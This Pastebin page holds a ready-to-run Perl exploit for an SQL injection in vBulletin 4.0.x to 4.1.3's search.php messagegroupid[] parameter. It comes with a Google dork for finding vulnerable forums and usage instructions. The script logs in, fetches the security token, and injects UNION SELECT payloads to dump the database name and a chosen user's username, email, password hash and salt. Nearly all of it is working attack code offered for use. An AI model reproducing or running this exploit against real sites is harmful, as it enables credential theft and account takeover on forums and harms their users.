Advertisement
Aluf

(messagegroupid[] par) AUTOMATIC SQL Injection

Jan 31st, 2015
419
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
SQL 7.84 KB | None | 0 0
  1. # vBulletin 4.0.x => 4.1.3 SEARCH.php (messagegroupid[] par) AUTOMATIC SQL Injection exploit
  2. # Google Dork: inurl:SEARCH.php?search_type=1
  3. # DATE: 03/09/2014
  4. # Vendor Homepage: http://www.vbulletin.com/
  5. # Tested ON: vBulletin 4.1.2
  6. # Usage: perl exploit.pl <http://target> <valid username> <valid passwd> <existent GROUP message> <userid TO hack>
  7. # The exploit IS able TO retrieve the security code automatically.
  8. # WHEN you enter the target you must INSERT it including the forum path obviously! ex: http://target/forum
  9. # Vulnerability discovered BY: FB1H2S
  10.  
  11. #!/usr/bin/env perl
  12. USE LWP::UserAgent;
  13. USE HTTP::Cookies;
  14.  
  15. $found = "n";
  16. $ua = LWP::UserAgent->NEW();
  17. $ua->agent("Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:31.0) Gecko/20100101 Firefox/31.0");
  18. $ua->cookie_jar({});
  19. $username = "username) from user where userid=$ARGV[4]#";
  20. $email = "email) from user where userid=$ARGV[4]#";
  21. $password = "password) from user where userid=$ARGV[4]#";
  22. $salt = "salt) from user where userid=$ARGV[4]#";
  23. @tofinds = ('database())#'); push(@tofinds,$username); push(@tofinds,$email); push(@tofinds,$password); push(@tofinds,$salt);
  24.  
  25. sub request()
  26. {
  27.     $req = HTTP::Request->NEW(GET => $ARGV[0]);
  28.     my $res1 = $ua->request($req);
  29.     OPEN(FILE01, "> vbloginout.txt"); print FILE01 $res1->content; close(FILE01);
  30.     my $token = dumping("vbloginout.txt","token");
  31.    
  32.     IF($token eq '' || $token eq 'guest')
  33.     {
  34.         print "SECURITYTOKEN not found!\n";
  35.         $token = "1409750140-51ac26286027a4bc2b2ac38a7483081c2a4b2a3e"; # HERE
  36.         print "Attempting using $token as token.\n";
  37.     }
  38.     ELSE
  39.     {
  40.         print "SECURITYTOKEN FOUND: $token\n";
  41.         $tfound = "y";
  42.     }
  43.    
  44.     print "Sending exploit...\n\n";
  45.     print "Attempting to inject messagegroupid[0] ..\n\n";
  46.     sleep(2);
  47.     my $req = HTTP::Request->NEW(POST => $ARGV[0].'/search.php?search_type=1');
  48.     $req->content_type('application/x-www-form-urlencoded');
  49.    
  50.     foreach $tofind (@tofinds)
  51.     {
  52.         $post = "query=$ARGV[3]&titleonly=0&searchuser=&starteronly=1&dosearch=Search+Now&searchdate=0&beforeafter=after&sortby=dateline&order=descending&showposts=0&saveprefs=1&s=&securitytoken=$token&searchfromtype=vBForum%3ASocialGroupMessage&do=process&contenttypeid=5&messagegroupid[0]=3 ) UNION SELECT concat(0x3a,0x3a,0x3a,$tofind";
  53.         $req->content($post);
  54.         my $res = $ua->request($req);
  55.         #print $res->headers()->as_string; print "\n\n";
  56.         OPEN(FILE0, "> vbloc.txt"); print FILE0 $res->headers()->as_string; close(FILE0);
  57.         my $location = dumping("vbloc.txt","loc");
  58.        
  59.         IF($location !~ /$ARGV[0]/)
  60.         {
  61.             banner();
  62.         }
  63.        
  64.         my $req1 = HTTP::Request->NEW(GET => $location);
  65.         $req1->content_type('application/x-www-form-urlencoded');
  66.         my $res1 = $ua->request($req1);
  67.         OPEN(FILE,"> vbout.txt");
  68.         print FILE $res1->content;
  69.         close(FILE);
  70.         printout($tofind);
  71.         dumping("vbout.txt","sql");
  72.         print "\n";
  73.     }
  74.     print "\n";
  75.     print "Do you want to run the second exploitation way? (y/n) -> ";
  76.     $want = <STDIN>;
  77.     IF($want =~ /y/)
  78.     {
  79.         second_request($token);
  80.     }
  81. }
  82.  
  83. sub second_request()
  84. {
  85.     my ($token) = @_ ;
  86.     print "Attempting again using the alternative messagegroupid[0] injection..\n\n";
  87.     sleep(2);
  88.     my $req = HTTP::Request->NEW(POST => $ARGV[0].'/search.php');
  89.     $req->content_type('application/x-www-form-urlencoded');
  90.    
  91.     foreach $tofind (@tofinds)
  92.     {
  93.         $post = "type%5B%5D=5&query=moderators&titleonly=0&searchuser=&exactname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=after&sortby=relevance&order=descending&saveprefs=1&s=&securitytoken=$token&do=process&searchthreadid=&messagegroupid[0]=3 ) UNION SELECT concat(0x3a,0x3a,0x3a,$tofind";
  94.         $req->content($post);
  95.         my $res = $ua->request($req);
  96.         OPEN(FILE0, "> vbloc.txt"); print FILE0 $res->headers()->as_string; close(FILE0);
  97.         my $location = dumping("vbloc.txt","loc");
  98.        
  99.         IF($location !~ /$ARGV[0]/)
  100.         {
  101.             banner();
  102.             exit(1);
  103.         }
  104.        
  105.         my $req1 = HTTP::Request->NEW(GET => $location);
  106.         $req1->content_type('application/x-www-form-urlencoded');
  107.         my $res1 = $ua->request($req1);
  108.         OPEN(FILE,"> vbout.txt");
  109.         print FILE $res1->content;
  110.         close(FILE);
  111.         printout($tofind);
  112.         dumping("vbout.txt","sql");
  113.         print "\n";
  114.     }
  115.     print "\n";
  116. }
  117.  
  118. sub banner
  119. {
  120.     print "[-] Exploit not successful!\n";
  121. }
  122.  
  123. sub printout
  124. {
  125.     my ($tofind) = @_ ;
  126.     IF($tofind =~ /username/)
  127.     {
  128.         print "[+] User($ARGV[4]) Username: ";
  129.     }
  130.     elsif($tofind =~ /password/)
  131.     {
  132.         print "[+] User($ARGV[4]) Password: ";
  133.     }
  134.     elsif($tofind =~ /DATABASE/)
  135.     {
  136.         print "[+] Database Name: ";
  137.     }
  138.     elsif($tofind =~ /email/)
  139.     {
  140.         print "[+] User($ARGV[4]) Email: ";
  141.     }
  142.     elsif($tofind =~ /salt/)
  143.     {
  144.         print "[+] User($ARGV[4]) Salt: ";
  145.     }
  146. }
  147.  
  148. sub dumping
  149. {
  150.     my ($filename, $par) = @_ ;
  151.     OPEN(MYFILE,"< ", $filename);
  152.     my @words;
  153.     while(<MYFILE>)
  154.     {
  155.         chomp;
  156.         @words = split(' ');
  157.        
  158.         IF($par eq "token")
  159.         {
  160.             my $ctrl = "n";
  161.             foreach my $word (@words)
  162.             {
  163.                 IF($word =~ /SECURITYTOKEN/)
  164.                 {
  165.                     $ctrl = "y";
  166.                 }
  167.                 IF($ctrl eq "y" AND $word !~ /=/ AND $word !~ /SECURITYTOKEN/)
  168.                 {
  169.                     $word =~ tr/;//d; $word =~ tr/\"//d;
  170.                    return $word;
  171.                    break;
  172.                }
  173.            }
  174.        }
  175.      
  176.        elsif($par eq "SQL")
  177.        {
  178.            foreach my $word (@words)
  179.            {
  180.                if($word =~ /:::/)
  181.                {
  182.                    $word =~ tr/::://d;
  183.                    print "$word";
  184.                }
  185.            }
  186.        }
  187.      
  188.        else
  189.        {
  190.            my $ctrl2 = "n";
  191.            foreach my $word (@words)
  192.            {
  193.                if($word =~ /Location:/)
  194.                {
  195.                    $ctrl2 = "y";
  196.                }
  197.                if($ctrl2 eq "y" and $word !~ /Location:/)
  198.                {
  199.                    return $word;
  200.                }
  201.            }
  202.        }
  203.    }
  204.    close(MYFILE);
  205. }
  206.  
  207. sub login(@)
  208. {
  209.    my $username = shift;
  210.    my $password = shift;
  211.    print "\nLogging IN...\n";
  212.    sleep(1);
  213.    my $req = HTTP::Request->new(POST => $ARGV[0].'/login.php?do=login');
  214.    $req->content_type('application/x-www-form-urlencoded');
  215.    $req->content("vb_login_username=$username&vb_login_password=$password&s=&securitytoken=1409514185-74f04ec0932a6f070268bf287797b5dc0db05530&do=login&vb_login_md5password=&vb_login_md5password_utf=");
  216.    $ua->cookie_jar({});
  217.    my $res = $ua->request($req);
  218.    #print "\n"; print $res->content; print "\n";
  219.    open(FILE2,"> vbloginout.txt"); print FILE2 $res->content; close(FILE2);
  220.    request();
  221. }
  222.  
  223. if($ARGV[0] eq '' || $ARGV[1] eq '' || $ARGV[2] eq '' || $ARGV[3] eq '' || $ARGV[4] eq '')
  224. {
  225.    print "\n<! vBulletin 4.0.x => 4.1.3 SEARCH.php (messagegroupid par) Automatic SQL Injection exploit !>\n";
  226.    print "Author: D35m0nd142\n\n";
  227.    print "Usage: perl exploit.pl <<http://target> <valid username> <valid passwd> <existent GROUP message> <userid TO hack>\n";
  228.    print "Example: perl exploit.pl http://site.com myusername mypassword messageforusers 1\n\n";
  229.    exit(1);
  230. }
  231.  
  232. print "\n<! vBulletin 4.0.x => 4.1.3 SEARCH.php (messagegroupid par) Automatic SQL Injection exploit !>\n";
  233. print "Author: D35m0nd142\n";
  234. sleep(1);
  235. login($ARGV[1],$ARGV[2]);
  236.  
  237. @files = ('vbloginout.txt','vbout.txt','vbloc.txt');
  238. foreach $file (@files)
  239. {
  240.    unlink $file;
  241. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement